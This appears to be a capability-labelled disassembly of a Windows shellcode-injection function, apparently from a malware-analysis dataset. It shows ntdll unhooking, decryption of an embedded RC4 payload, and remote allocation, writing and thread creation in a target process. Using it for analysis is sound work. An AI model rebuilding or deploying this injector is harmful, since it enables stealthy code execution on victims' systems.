Function at 0x140001400
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x648]
sub rsp, 0x748
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x620], rax
mov rbx, rdx
cmp ecx, 2
jge 0x140001441
lea rcx, str.____Usage:_program.exe__PID__n
call fcn.140001180
mov eax, 0xffffffff
jmp 0x140001c8e
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x778], r12
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rcx, qword [rbx + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, rax
test rax, rax
jne 0x140001493
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_Not_open_specified_Process._Error:__lu_n
call fcn.140001180
mov eax, 0xffffffff
jmp 0x140001c86
call fcn.140001cb0
movsd xmm0, qword [0x140003598]
movzx eax, byte [0x1400035a0]
movsd qword [rbp + 0x580], xmm0
mov byte [rbp + 0x588], al
mov dword [rbp + 0x470], 0x7332a9b2
mov dword [rbp + 0x474], 0xa4c618f2
mov dword [rbp + 0x478], 0xb942d675
mov dword [rbp + 0x47c], 0x57c922fd
mov dword [rbp + 0x480], 0x485904a8
mov dword [rbp + 0x484], 0x4bc693e6
mov dword [rbp + 0x488], 0xd7f66657
mov dword [rbp + 0x48c], 0x6c294dbe
mov dword [rbp + 0x490], 0x50669f8d
mov dword [rbp + 0x494], 0x8377be86
mov dword [rbp + 0x498], 0x37ca080a
mov dword [rbp + 0x49c], 0x223d3fff
mov dword [rbp + 0x4a0], 0xe1784705
mov dword [rbp + 0x4a4], 0xd7eb8f1e
mov dword [rbp + 0x4a8], 0xb5272940
mov dword [rbp + 0x4ac], 0x2896478a
mov dword [rbp + 0x4b0], 0xafb923b7
mov dword [rbp + 0x4b4], 0x2b52f5af
mov dword [rbp + 0x4b8], 0xdaf88a4f
mov dword [rbp + 0x4bc], 0x2fb57434
mov dword [rbp + 0x4c0], 0x1fb45646
mov dword [rbp + 0x4c4], 0xb63a30d2
mov dword [rbp + 0x4c8], 0xde605930
mov dword [rbp + 0x4cc], 0x51401783
mov dword [rbp + 0x4d0], 0x554e6a78
mov dword [rbp + 0x4d4], 0xc3a63a63
mov dword [rbp + 0x4d8], 0x11e78085
mov dword [rbp + 0x4dc], 0x1a0a6be3
mov dword [rbp + 0x4e0], 0x65fa8f62
mov dword [rbp + 0x4e4], 0xeeb9084e
mov dword [rbp + 0x4e8], 0xf6104f20
mov dword [rbp + 0x4ec], 0x810fffdf
mov dword [rbp + 0x4f0], 0xb759eae5
mov dword [rbp + 0x4f4], 0x7fe9888d
mov dword [rbp + 0x4f8], 0x3976c0d3
mov dword [rbp + 0x4fc], 0xd15b631b
mov dword [rbp + 0x500], 0x786896c2
mov dword [rbp + 0x504], 0x98a2473b
mov dword [rbp + 0x508], 0x8fc7551
mov dword [rbp + 0x50c], 0x7dd30419
mov dword [rbp + 0x510], 0xbe96afc2
mov dword [rbp + 0x514], 0x9cf46052
mov dword [rbp + 0x518], 0xaa46095f
mov dword [rbp + 0x51c], 0xb6e90896
mov dword [rbp + 0x520], 0x47cd01d8
mov dword [rbp + 0x524], 0xb263a208
mov dword [rbp + 0x528], 0x278293f7
mov dword [rbp + 0x52c], 0xcc7ef5c4
mov dword [rbp + 0x530], 0x5b1c0b1d
mov dword [rbp + 0x534], 0x6e720b4d
mov dword [rbp + 0x538], 0xfd872a5c
mov dword [rbp + 0x53c], 0x1bacc387
mov dword [rbp + 0x540], 0xa646b451
mov dword [rbp + 0x544], 0x9b989ea
mov dword [rbp + 0x548], 0xb37fd32d
mov dword [rbp + 0x54c], 0x59331995
mov dword [rbp + 0x550], 0xa6223842
mov dword [rbp + 0x554], 0x2721e4d3
mov dword [rbp + 0x558], 0x95fb2845
mov dword [rbp + 0x55c], 0x5c40c833
mov dword [rbp + 0x560], 0xc921c13c
mov dword [rbp + 0x564], 0x9e353fc9
mov dword [rbp + 0x568], 0x58f04127
mov dword [rbp + 0x56c], 0x26d71a5
mov dword [rbp + 0x570], 0x63fbc05d
mov dword [rbp + 0x574], 0xa8b6018f
mov dword [rbp + 0x578], 0xcf2c16c7
mov dword [rbp + 0x57c], 0xce8ef04d
mov dword [rbp - 0x30], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140001791
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____GetThreadContext_Failed_With_Error_:__d__n
call fcn.140001180
jmp 0x1400017bd
cmp qword [rbp - 0x18], 0
jne 0x140001489
cmp qword [rbp - 0x10], 0
jne 0x140001489
cmp qword [rbp - 8], 0
jne 0x140001489
cmp qword [rbp], 0
jne 0x140001489
xorps xmm0, xmm0
mov qword [rsp + 0x760], rsi
mov qword [rsp + 0x740], r13
lea rcx, [rbp - 0x60]
xor eax, eax
mov qword [rsp + 0x738], r14
xor edx, edx
mov qword [rsp + 0x730], r15
mov r8d, 0x104
mov word [rbp + 0x610], ax
movups xmmword [rbp + 0x590], xmm0
movups xmmword [rbp + 0x5a0], xmm0
movups xmmword [rbp + 0x5b0], xmm0
movups xmmword [rbp + 0x5c0], xmm0
movups xmmword [rbp + 0x5d0], xmm0
movups xmmword [rbp + 0x5e0], xmm0
movups xmmword [rbp + 0x5f0], xmm0
movups xmmword [rbp + 0x600], xmm0
call sub.VCRUNTIME140.dll_memset
mov edx, 0x82
lea rcx, [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x14000185c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetWindowsDirectoryA_Failed_With_Error_:__d__n
call fcn.140001180
lea rsi, str.NTDLL.DLL
mov qword [rsp + 0x770], rdi
lea r9, [rbp + 0x590]
mov qword [rsp + 0x20], rsi
lea r8, str._sSystem32_s
mov edx, 0x104
lea rcx, [rbp - 0x60]
call fcn.140001f70
xor r13d, r13d
lea rcx, [rbp - 0x60]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], r13d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r13 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400018d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_a_handle_to_the_file___u__n
call fcn.140001180
jmp 0x140001973
mov dword [rsp + 0x30], 0xffffffff
xor r9d, r9d
mov qword [rsp + 0x28], r13
xor edx, edx
mov r8d, 0x1000002
mov dword [rsp + 0x20], r13d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingNumaW]
mov rdi, rax
test rax, rax
jne 0x140001920
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_a_file_mapping_object_to_ntdll___u__n
call fcn.140001180
mov rcx, rbx
jmp 0x14000196d
xor r9d, r9d
mov dword [rsp + 0x30], 0xffffffff
mov qword [rsp + 0x28], r13
xor r8d, r8d
mov rcx, rdi
mov qword [rsp + 0x20], r13
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFileExNuma]
mov r14, rax
test rax, rax
jne 0x140001976
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_map_ntdll___u__n
call fcn.140001180
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd rsi, dword [r14 + 0x3c]
mov r15, rax
add rsi, r14
jne 0x14000199c
lea rcx, str._____Not_a_PE_file_n
call fcn.140001180
jmp 0x140001a71
movzx edi, word [rsi + 0x14]
movzx ebx, r13w
add rdi, 0x18
mov dword [rbp - 0x70], r13d
add rdi, rsi
cmp r13w, word [rsi + 6]
jae 0x140001a71
mov dword [rsp + 0x60], 0x7865742e
mov word [rsp + 0x64], 0x74
nop dword [rax]
lea r8, [rsp + 0x60]
mov rax, rdi
sub r8, rdi
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400019f3
inc rax
test ecx, ecx
jne 0x1400019e0
test edx, edx
jne 0x140001a43
mov ecx, dword [rdi + 0xc]
lea r9, [rbp - 0x70]
mov edx, dword [rdi + 8]
add rcx, r15
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001a5d
mov eax, dword [rdi + 0xc]
mov r8d, dword [rdi + 8]
lea rdx, [r14 + rax]
lea rcx, [r15 + rax]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rdi + 0xc]
lea r9, [rbp - 0x70]
mov edx, dword [rdi + 8]
add rcx, r15
mov r8d, dword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001a4e
inc bx
cmp bx, word [rsi + 6]
jb 0x1400019d0
jmp 0x140001a71
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_in_VirtualProtect2___u__n
jmp 0x140001a6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_in_VirtualProtect1___u__n
mov edx, eax
call fcn.140001180
call fcn.140001cb0
call fcn.1400011e0
mov r15, qword [rsp + 0x730]
mov r14, qword [rsp + 0x738]
mov rdi, qword [rsp + 0x770]
mov rsi, qword [rsp + 0x760]
test eax, eax
je 0x140001abd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Declarations_failed._Error:__lu_n
call fcn.140001180
mov eax, 0xffffffff
jmp 0x140001c7e
lea rcx, str.____Functions_imported_n
call fcn.140001180
lea rax, [rbp + 0x580]
mov dword [rbp - 0x80], 9
mov qword [rbp - 0x78], rax
lea rdx, [rbp - 0x80]
lea rax, [rbp + 0x470]
mov dword [rbp - 0x7c], 9
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x70], 0x110
mov dword [rsp + 0x74], 0x110
call qword [0x140005668]
test eax, eax
je 0x140001b1f
mov edx, eax
lea rcx, str.____SystemFunction033_FAILED_With_Error:_0x_0.8X__n
call fcn.140001180
call fcn.140001cb0
lea r9, [rsp + 0x70]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov qword [rbp - 0x68], 0x110
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], r13
mov rcx, r12
mov dword [rbp - 0x70], r13d
mov qword [rsp + 0x70], 0x110
mov qword [rbp - 0x80], r13
mov dword [rsp + 0x20], 0x3000
call qword [0x140005670]
test eax, eax
je 0x140001b7f
mov edx, eax
lea rcx, str.____NtAllocateVirtualMemory_Failed_With_Error_:_0x_0.8X__n
call fcn.140001180
jmp 0x140001c7c
mov rdx, qword [rbp - 0x68]
lea rcx, str._t_i__Writing_Payload_Of_Size__d_...
call fcn.140001180
mov r9d, dword [rbp - 0x68]
lea r8, [rbp + 0x470]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
mov qword [rsp + 0x20], r13
call qword [0x140005678]
test eax, eax
je 0x140001bc4
mov edx, eax
lea rcx, str.____pNtWriteVirtualMemory_Failed_With_Error_:_0x_0.8X__n
call fcn.140001180
jmp 0x140001c7c
lea rcx, str.___DONE__n
call fcn.140001180
xor eax, eax
lea r8, [rbp - 0x68]
mov qword [rbp + 0x470], rax
lea rdx, [rsp + 0x68]
lea rax, [rbp - 0x70]
mov r9d, 0x20
mov rcx, r12
mov qword [rsp + 0x20], rax
call qword [0x140005660]
test eax, eax
je 0x140001c0e
mov edx, eax
lea rcx, str.____NtProtectVirtualMemory_Failed_With_Error_:_0x_0.8X__n
call fcn.140001180
jmp 0x140001c7c
mov rdx, qword [rsp + 0x68]
lea rcx, str._t_i__Running_Thread_Of_Entry_0x_p_...
call fcn.140001180
mov rax, qword [rsp + 0x68]
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x50], r13
mov r9, r12
mov qword [rsp + 0x48], r13
xor r8d, r8d
mov qword [rsp + 0x40], r13
mov edx, 0x1fffff
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
call qword [0x140005680]
test eax, eax
je 0x140001c70
mov edx, eax
lea rcx, str.____NtCreateThreadEx_Failed_With_Error_:__lu__n
call fcn.140001180
jmp 0x140001c7c
lea rcx, str.___DONE__n
call fcn.140001180
xor eax, eax
mov r13, qword [rsp + 0x740]
mov r12, qword [rsp + 0x778]
mov rcx, qword [rbp + 0x620]
xor rcx, rsp
call fcn.140001fe0
add rsp, 0x748
pop rbx
pop rbp
ret